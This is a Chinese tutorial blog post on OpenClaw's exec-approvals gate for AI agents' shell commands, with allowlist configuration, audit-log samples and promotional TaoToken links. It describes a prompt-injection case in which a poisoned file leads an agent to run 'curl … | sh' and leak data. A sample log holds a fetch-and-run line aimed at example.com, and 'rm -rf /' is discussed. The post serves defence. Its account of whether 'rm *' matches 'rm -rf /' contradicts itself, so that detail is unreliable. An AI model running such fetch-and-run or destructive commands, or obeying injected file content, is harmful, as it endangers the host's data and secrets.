1. 为什么 AI Agent 的命令执行需要审批门禁
OpenClaw exec-approvals 是 OpenClaw 里专门管「Agent 能不能在真实主机上跑命令」的审批机制,它解决的核心问题是:沙箱里的 Agent 想执行 shell 命令时,谁来拍板放行。适合正在把 AI 编码工具、Agent 工作流往生产环境推的开发者,尤其是那些已经踩过「Agent 自作主张删文件」坑的人。
我先把场景摆出来。你让 Agent 帮忙清理构建缓存,它理解成「清理所有缓存」,一条rm -rf下去,项目目录连带配置全没了。或者更隐蔽的情况:Agent 读取了某个被污染的文件内容,里面藏着一条指令,诱导它执行curl 某地址 | sh,把敏感数据往外送。这两种都不是假设,是真实会发生的执行风险。
传统做法无非两种。要么完全禁用 Agent 的命令执行能力,那它基本就成了只会聊天的摆设;要么完全信任,给它 full 权限,等于把主机钥匙直接交出去。前者牺牲能力,后者牺牲安全,中间没有缓冲带。
exec-approvals 的思路是在命令真正落到主机之前,插一道「审批门禁」。Agent 发起执行请求,系统先按配置检查安全级别、匹配 allowlist,必要时弹窗让人来确认。人批准了才执行,拒绝或超时就按回退策略处理,全程写审计日志。这样既保留了 Agent 的执行能力,又把最终决定权收回到人手里。
这篇文章会带你从零配出一套可用的 allowlist 骨架,跑通一次完整的审批验证,再把常见的报错逐个排掉。命令和配置都能直接复制,改改路径就能用。
2. TaoToken 前置:统一 Key 与 API 通道
在配 OpenClaw 之前,先把模型调用这条链路理顺。OpenClaw 本身是执行框架,它背后要调模型来理解任务、生成命令,这部分走 TaoToken 的统一通道会省很多事——一个 Key 覆盖多种模型,不用为每个模型单独维护一套凭证。
TaoToken 官网入口是 https://taotoken.net/?utm_source=taotoken_aicg_blog_end&utm_medium=csdn&utm_campaign=rewrite&utm_content= ,API 基址是 https://taotoken.net/api 。你需要先在控制台创建一个 API Key,然后把它填进 OpenClaw 的模型配置里。
创建 Key 的入口在控制台:https://taotoken.net/console?utm_source=taotoken_aicg_blog_end&utm_content=console&utm_campaign=rewrite ,Key 管理页在 https://taotoken.net/api-keys?utm_source=taotoken_aicg_blog_end&utm_content=api-keys&utm_campaign=rewrite 。如果你只是想先验证模型通不通,可以直接用模型对话页试:https://taotoken.net/chat?utm_source=taotoken_aicg_blog_end&utm_content=chat&utm_campaign=rewrite 。
配置方式很简单,在 OpenClaw 的模型配置里指定 base_url 和 api_key:
{ "model": { "provider": "openai-compatible", "baseUrl": "https://taotoken.net/api", "apiKey": "sk-你的TaoToken密钥", "model": "claude-sonnet-4-5" } }这里要注意,baseUrl 只写到/api,不要自己拼/v1之类的后缀,具体路径由 OpenClaw 的 provider 适配层处理。填完之后先别急着配审批,用一条最简单的对话确认模型通道是通的,否则后面审批报错你分不清是模型问题还是配置问题。
如果你打算长期跑编码类 Agent 任务,可以考虑 Coding Plan,额度模型更适合高频调用:https://taotoken.net/coding-plan?utm_source=taotoken_aicg_blog_end&utm_content=coding-plan&utm_campaign=rewrite 。接入细节和参数说明在文档里:https://taotoken.net/doc?utm_source=taotoken_aicg_blog_end&utm_content=doc&utm_campaign=rewrite 。
3. 可复制的 allowlist 配置骨架
exec-approvals 的配置文件默认在~/.openclaw/exec-approvals.json。下面这份骨架是我实测能跑通的最小可用版本,你可以直接复制,把 allowlist 里的 pattern 换成自己需要的。
{ "version": 1, "socket": { "path": "~/.openclaw/exec-approvals.sock", "token": "换成你自己的base64url令牌" }, "defaults": { "security": "allowlist", "ask": "on-miss", "askFallback": "deny", "autoAllowSkills": false }, "agents": { "main": { "security": "allowlist", "ask": "on-miss", "askFallback": "deny", "autoAllowSkills": false, "allowlist": [ { "id": "safe-read", "pattern": "ls *" }, { "id": "safe-read", "pattern": "cat *" }, { "id": "safe-git", "pattern": "git status" }, { "id": "safe-git", "pattern": "git log *" } ] } } }先把几个核心字段讲清楚,这决定了审批行为。
security有三个值。deny是全部拒绝,适合高安全环境;allowlist是只放行白名单里的命令,这是最常用的;full是全部放行,只建议在隔离的测试环境用。
ask控制弹窗时机。off从不弹窗,直接按规则处理;on-miss是 allowlist 没匹配上时才弹窗;always是每次执行都弹窗,适合生产环境做二次确认。
askFallback是弹窗不可用时的兜底策略。deny直接拒绝,allowlist按白名单匹配结果决定,full放行。生产环境建议锁死deny。
autoAllowSkills控制 Skill 调用命令是否自动放行。个人开发可以设true省事,团队协作和线上环境一定设false。
配置优先级要记住一条:agents.*会覆盖defaults里的同名字段。也就是说你可以给defaults设一个宽松基线,再给特定 Agent 收紧。比如:
{ "defaults": { "security": "deny", "ask": "always" }, "agents": { "main": { "security": "allowlist" } } }这里main的security被覆盖成allowlist,但ask没配,就继承defaults的always。
allowlist 的 pattern 匹配规则是新手最容易踩坑的地方。它匹配的是「命令名 + 第一个参数」,通配符*只匹配空格分隔的单个参数,不匹配管道符、&&、;这些连接符。看下面这张对照表:
| pattern | 匹配示例 | 不匹配示例 |
|---|---|---|
ls * | ls -la、ls /tmp | ls | grep、ls && rm |
git * | git status、git log | git push origin main(只匹配命令名+第一个参数) |
npm run * | npm run build | npm install、npm i |
rm * | rm -rf /tmp | rm -rf /(需要更精确的 pattern) |
所以千万别写*这种全通配,等于把 allowlist 废掉了。对高危命令要用更精确的 pattern,比如只放行rm -rf /tmp/*这种限定路径的写法。
4. 验证请求与成功结果
配置写完,先确认它被正确加载。用 CLI 查看当前审批配置:
openclaw approvals get正常输出会显示配置文件路径、是否存在、版本号、socket 路径、Agent 数量和 allowlist 条数。如果Exists显示no,说明文件没被读到,检查路径和权限。
接着添加一条白名单规则,验证写入链路:
openclaw approvals allowlist add "npm run *"输出会打印当前 allowlist 表格,你能看到新规则已经进去。再移除一条试试:
openclaw approvals allowlist remove "ls *"现在做端到端验证。让 Agent 发起一条在 allowlist 里的命令,比如git status。预期结果是直接执行,不弹窗,因为ask=on-miss且 pattern 匹配上了。
再让它发起一条不在 allowlist 里的命令,比如curl 某地址。预期结果是触发审批弹窗(如果 UI 可用),或者按askFallback=deny直接拒绝。这一步是验证审批门禁真正生效的关键。
最后检查审计日志,确认每次执行都有记录:
tail -f ~/.openclaw/logs/commands.log日志里每条记录包含时间戳、命令、审批结果、审批人、Agent 名称、匹配规则等字段。一条被批准的命令长这样:
{ "timestamp": "2026-03-29T10:00:00.000Z", "command": "git status", "action": "approved", "approver": "human", "agent": "main", "rule": "allowlist", "pattern": "git status", "user": "yourname", "cwd": "/Users/yourname/project" }一条被拒绝的命令:
{ "timestamp": "2026-03-29T10:05:00.000Z", "command": "curl http://example.com/script.sh | sh", "action": "denied", "approver": "system", "agent": "main", "rule": "deny", "pattern": null, "user": "yourname", "cwd": "/Users/yourname" }看到这两类记录都出现,说明审批机制端到端跑通了。
5. 本篇常见错排查
配置跑不通的时候,按下面这张表逐项排查,基本能覆盖九成问题。
| 现象 | 可能原因 | 排查命令 |
|---|---|---|
| 命令审批不生效 | security 配置错误 | openclaw approvals get看 security 级别 |
| Socket 连接失败 | 文件权限不足 | ls -la ~/.openclaw/exec-approvals.sock |
| Token 认证失败 | token 不匹配 | 检查配置里的 token 与 socket.token 是否一致 |
| allowlist 不匹配 | pattern 语法错误 | 参考第 3 节的匹配规则表 |
| 审批弹窗不显示 | UI 不可用 | 检查 askFallback 配置 |
| 命令被拒绝 | 未在 allowlist 中 | 添加规则或调整 security 级别 |
排查步骤按顺序来:
# 1. 确认配置已加载 openclaw approvals get # 2. 检查配置文件权限 ls -la ~/.openclaw/exec-approvals.json # 3. 查看审批日志 tail -f ~/.openclaw/logs/commands.log # 4. 检查 socket 状态 ls -la ~/.openclaw/exec-approvals.sock有一个坑我踩过:配置文件权限太松,被系统判定为不安全而拒绝加载。修复方式是收紧权限:
chmod 600 ~/.openclaw/exec-approvals.json chmod 600 ~/.openclaw/exec-approvals.sock另一个高频问题是 pattern 写得太宽。有人图省事写rm *,结果 Agent 执行rm -rf /时因为 pattern 匹配的是「命令名+第一个参数」,-rf被当成第一个参数匹配上了,直接放行。正确做法是对删除类命令限定路径,比如rm -rf /tmp/*,并且配合ask=always做二次确认。
还有 socket token 明文存在配置文件里的问题。这个 token 是本地进程间通信的认证凭证,文件权限必须锁死 600,否则同主机其他用户可能伪造请求。生产环境建议定期轮换 token。
6. 语义一致 CTA 与后续接入
审批机制配好之后,模型调用这条链路建议统一走 TaoToken,一个 Key 管住所有模型的接入,省去多套凭证维护的麻烦。API Key 在 https://taotoken.net/api-keys?utm_source=taotoken_aicg_blog_end&utm_content=api-keys&utm_campaign=rewrite 创建,接入参数和 provider 适配说明看文档 https://taotoken.net/doc?utm_source=taotoken_aicg_blog_end&utm_content=doc&utm_campaign=rewrite 。
如果你在配 OpenClaw 的模型通道时遇到报错,或者想确认某个模型能不能正常返回,可以直接用模型对话页做最小验证:https://taotoken.net/chat?utm_source=taotoken_aicg_blog_end&utm_content=chat&utm_campaign=rewrite 。长期跑编码类 Agent 任务的话,Coding Plan 的额度模型更适合高频调用场景:https://taotoken.net/coding-plan?utm_source=taotoken_aicg_blog_end&utm_content=coding-plan&utm_campaign=rewrite 。
最后留一个实操建议:先把security设成deny跑一遍,确认所有命令都被拦住,再逐步放开 allowlist。这样你能清楚知道每一条放行规则到底放行了什么,而不是一上来就full然后靠感觉收紧。审批日志记得定期翻,尤其是denied记录,那些被拦下来的命令往往能暴露 Agent 的行为边界问题。